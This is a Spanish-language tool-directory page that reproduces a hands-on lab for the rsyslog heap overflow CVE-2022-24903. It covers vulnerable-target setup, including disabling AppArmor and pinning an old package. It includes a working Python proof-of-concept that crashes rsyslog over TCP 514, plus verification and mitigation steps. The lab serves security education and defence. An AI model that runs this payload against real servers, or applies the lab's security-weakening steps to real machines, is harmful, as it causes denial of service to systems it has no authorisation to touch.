Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 Heap-based buffer overflow | Kitploit
Herramientas/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
Vulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 Heap-based buffer overflow

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
hace 21 díasAún no revisado

Laboratorio Práctico CVE-2022-24903

Autor: Andrew Beshay Mousa

Un laboratorio práctico que demuestra la vulnerabilidad de desbordamiento de búfer en el montón de rsyslog.

rsyslog CVE Type Protocol

Un entorno de laboratorio práctico para reproducir y comprender la vulnerabilidad de desbordamiento de búfer en el montón de rsyslog (CVE-2022-24903) mediante el framing con conteo de octetos en la recepción de syslog por TCP.


Tabla de Contenidos

  • Resumen
  • Arquitectura del Laboratorio
  • Requisitos Previos
  • Detalles de la Vulnerabilidad
  • Configuración del Laboratorio
    • Máquina Objetivo (Ubuntu)
    • Máquina Atacante (Kali)
  • Explotación
  • Verificación
  • Solución de Problemas
  • Mitigación
  • Referencias

Resumen

CVE-2022-24903 es una vulnerabilidad de desbordamiento de búfer en el montón en el módulo de recepción de syslog por TCP (imtcp) de rsyslog cuando se utiliza el framing con conteo de octetos (RFC 5425).

Un atacante puede enviar un mensaje syslog por TCP manipulado con un prefijo de conteo de octetos excesivamente largo, lo que provoca que rsyslog escriba más allá de los límites de un búfer asignado en el montón, resultando en una denegación de servicio (DoS) o una posible corrupción de memoria.


Arquitectura del Laboratorio

root@kitploit:~
+----------------------------------------------------------+
|                  Network: Host-Only                       |
|                Subnet: 192.168.56.0/24                   |
+--------------------------+-------------------------------+
|                          |                               |
|   +---------------+      |      +--------------------+   |
|   |  [Attacker]   |      |      |     [Target]       |   |
|   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
|   |               | TCP  |      |  rsyslog 8.2001.0  |   |
|   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
|   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
|   |  CPU: 1       |      |      |  CPU: 1            |   |
|   +---------------+      |      +--------------------+   |
|                          |                               |
+----------------------------------------------------------+

Máquinas Virtuales Requeridas

Nota: Puedes usar cualquier versión de Ubuntu (20.04, 22.04, 24.04) como Objetivo. La clave está en instalar manualmente el paquete .deb de rsyslog 8.2001.0 vulnerable.


Requisitos Previos

  • VirtualBox o VMware Workstation
  • ISO de Ubuntu 22.04 (~2 GB)
  • Máquina virtual de Kali Linux (~4 GB)
  • Red Host-Only configurada en tu hipervisor
  • Conocimientos básicos de comandos de Linux y Python

Detalles de la Vulnerabilidad

¿Qué es el Framing con Conteo de Octetos?

En el syslog por TCP (RFC 5425), los mensajes llevan un prefijo con su longitud en bytes:

root@kitploit:~
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
 octet count (3 digits = 123 bytes follow)

El Fallo

En las versiones vulnerables de rsyslog, el analizador de conteo de octetos:

  1. Acumula dígitos en un búfer de montón de tamaño fijo
  2. No comprueba los límites del búfer mientras escribe dígitos
  3. Sigue escribiendo dígitos incluso después de que el conteo de octetos supere el valor máximo permitido
root@kitploit:~
// Simplified vulnerable logic:
char buffer[20];          // Small heap buffer
int i = 0;
while (isdigit(ch)) {     // Read digits
    buffer[i++] = ch;     // Write to buffer
    // MISSING: if (i >= 20) break;
    ch = next_char();
}

Resultado: Enviar 9999... (más de 5000 dígitos) desborda el búfer del montón, corrompiendo la memoria adyacente.

Por Qué el RCE es Difícil

  • El desbordamiento se limita solo a caracteres numéricos (0-9)
  • El analizador se detiene en el primer carácter no numérico
  • No se puede inyectar shellcode directamente
  • El DoS está garantizado; el RCE se considera poco probable según el proveedor

Configuración del Laboratorio

Paso 1: Configurar la Red Host-Only

En tu hipervisor, crea una red Host-Only:

  • Subred: 192.168.56.0/24
  • DHCP: Deshabilitado (IPs estáticas)

Conecta ambas máquinas virtuales a esta red.


Paso 2: Máquina Objetivo (Ubuntu)

2.1 Configurar IP Estática

root@kitploit:~
sudo nano /etc/netplan/00-installer-config.yaml

Pega:

root@kitploit:~
network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.56.20/24

Aplica:

root@kitploit:~
sudo netplan apply

Verifica:

root@kitploit:~
ip addr show | grep 192.168.56.20

2.2 Detener y Eliminar el rsyslog Moderno

root@kitploit:~
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y

2.3 Descargar e Instalar rsyslog Vulnerable

root@kitploit:~
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog

Si obtienes un error de bloqueo de dpkg:

root@kitploit:~
sudo kill -9 <PID>
sudo rm -f /var/lib/dpkg/lock-frontend
sudo dpkg --configure -a

Verifica la versión:

root@kitploit:~
rsyslogd -v | head -2

Salida esperada:

root@kitploit:~
rsyslogd  8.2001.0

2.4 Deshabilitar AppArmor (Solo Laboratorio)

AppArmor puede impedir que rsyslog funcione correctamente con el paquete antiguo:

root@kitploit:~
sudo systemctl stop apparmor
sudo systemctl disable apparmor

2.5 Configurar rsyslog para TCP 514

root@kitploit:~
sudo nano /etc/rsyslog.conf

Limpia el archivo y pega:

root@kitploit:~
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log

2.6 Abrir el Puerto en el Cortafuegos

root@kitploit:~
sudo ufw allow 514/tcp
sudo ufw --force enable

2.7 Iniciar rsyslog

root@kitploit:~
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager

Verifica que está escuchando:

root@kitploit:~
sudo ss -tlnp | grep 514

Esperado:

root@kitploit:~
LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))

Paso 3: Máquina Atacante (Kali)

3.1 Configurar IP Estática

root@kitploit:~
sudo nano /etc/network/interfaces

Pega:

root@kitploit:~
auto eth0
iface eth0 inet static
    address 192.168.56.10
    netmask 255.255.255.0

O si usas Netplan:

root@kitploit:~
sudo nano /etc/netplan/01-netcfg.yaml
root@kitploit:~
network:
  version: 2
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.56.10/24
root@kitploit:~
sudo netplan apply

3.2 Crear el Script de Exploit

root@kitploit:~
cd ~/Desktop
nano exploit.py

Pega:

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""

import socket
import sys

TARGET = "192.168.56.20"  # Change to your Target IP
PORT = 514

def exploit():
    """
    Send a crafted TCP syslog message with an excessively long octet-count prefix.
    The octet-count parser writes digits to a heap buffer without bounds checking,
    causing a heap buffer overflow.
    """
    # Create a massive octet count string (5000+ digits)
    # This overflows the heap buffer allocated for parsing the count
    overflow_digits = b"9" * 5000

    # The rest of the message (parser will crash before processing this)
    syslog_msg = b" <1>test crash message\n"

    payload = overflow_digits + syslog_msg

    print(f"[*] Target: {TARGET}:{PORT}")
    print(f"[*] Payload size: {len(payload)} bytes")
    print(f"[*] Octet count digits: {len(overflow_digits)}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((TARGET, PORT))

        print(f"[*] Connected. Sending payload...")
        sock.sendall(payload)

        # Try to receive (likely won't get anything back after crash)
        try:
            response = sock.recv(1024)
            print(f"[+] Received: {response}")
        except socket.timeout:
            print("[!] No response - target may have crashed!")

        sock.close()
        print("[*] Exploit completed.")

    except ConnectionRefusedError:
        print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
        sys.exit(1)
    except BrokenPipeError:
        print("[!] Connection broken - target likely crashed mid-transmission!")

if __name__ == "__main__":
    print("=" * 50)
    print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
    print("=" * 50)
    exploit()

Hazlo ejecutable:

root@kitploit:~
chmod +x exploit.py

Explotación

Comprobación Previa

Desde la máquina Atacante, verifica la conectividad:

root@kitploit:~
nc -zv 192.168.56.20 514

Esperado:

root@kitploit:~
(UNKNOWN) [192.168.56.20] 514 (shell) open

Ejecutar el Exploit

root@kitploit:~
python3 ~/Desktop/exploit.py

Salida esperada:

root@kitploit:~
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.

Verificación

En la máquina Objetivo, verifica el fallo:

Método 1: Comprobar si rsyslog sigue en ejecución

root@kitploit:~
ps aux | grep rsyslog

Si no hay salida -> rsyslog se bloqueó

Método 2: Revisar los registros del kernel

root@kitploit:~
sudo dmesg | tail -10

Salida esperada:

root@kitploit:~
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]

O:

root@kitploit:~
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]

Método 3: Revisar el diario de systemd

root@kitploit:~
sudo journalctl -u rsyslog --no-pager | tail -10

Método 4: Reiniciar y Volver a Probar

Para confirmar la reproducibilidad:

root@kitploit:~
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514

Luego vuelve a ejecutar el exploit desde Kali. El fallo debería ocurrir de nuevo.


Solución de Problemas


Mitigación

1. Actualizar rsyslog

root@kitploit:~
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog

Verifica la versión parcheada:

root@kitploit:~
rsyslogd -v | head -2

Debería ser 8.2204.1 o superior.

2. Deshabilitar syslog por TCP si no es necesario

Comenta en /etc/rsyslog.conf:

root@kitploit:~
# module(load="imtcp")
# input(type="imtcp" port="514")

3. Usar TLS/SSL (RFC 5425)

Si se requiere syslog por TCP, usa transporte cifrado:

root@kitploit:~
module(load="imgtls")
input(type="imgtls" port="6514")

4. Restricciones del Cortafuegos

Restringe TCP 514 solo a hosts de confianza:

root@kitploit:~
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp

Referencias

  • NVD - CVE-2022-24903
  • Aviso de seguridad de rsyslog
  • Aviso de seguridad de Ubuntu USN-5404-1
  • RFC 5424 - Protocolo Syslog
  • RFC 5425 - Transporte TLS

Descargo de Responsabilidad

Este laboratorio es solo con fines educativos y de investigación. No uses este exploit contra sistemas que no poseas o para los que no tengas permiso explícito de pruebas. El autor no asume ninguna responsabilidad por el mal uso de esta información.


Licencia

Este proyecto está licenciado bajo la Licencia MIT.


Hecho con café y curiosidad por Andrew Beshay Mousa.

Descargar herramienta
AtributoValor
ID de CVECVE-2022-24903
Afectadorsyslog < 8.2204.1
VectorRed
Puerto514/TCP
Móduloimtcp (Entrada TCP)
ImpactoDoS / Corrupción del montón
¿RCE probable?No (evaluación del proveedor)
VMSORolIPRAMCPU
ObjetivoUbuntu 22.04Servidor rsyslog vulnerable192.168.56.201 GB1
AtacanteKali LinuxRemitente del exploit192.168.56.102 GB1
ProblemaSolución
Connection refusedrsyslog no está en ejecución o no está escuchando en TCP 514. Comprueba sudo systemctl status rsyslog y `sudo ss -tlnp
Unit rsyslog.service is maskedEjecuta sudo systemctl unmask rsyslog.service syslog.socket
dpkg frontend lockEjecuta sudo kill -9 <PID> y luego sudo rm -f /var/lib/dpkg/lock-frontend
AppArmor DENIED in dmesgEjecuta sudo systemctl stop apparmor && sudo systemctl disable apparmor
La versión de rsyslog es 8.2112+Instalaste la versión parcheada. Descarga e instala rsyslog_8.2001.0-1ubuntu1_amd64.deb manualmente
No hay fallo tras el exploitAumenta el tamaño del payload a b"9" * 20000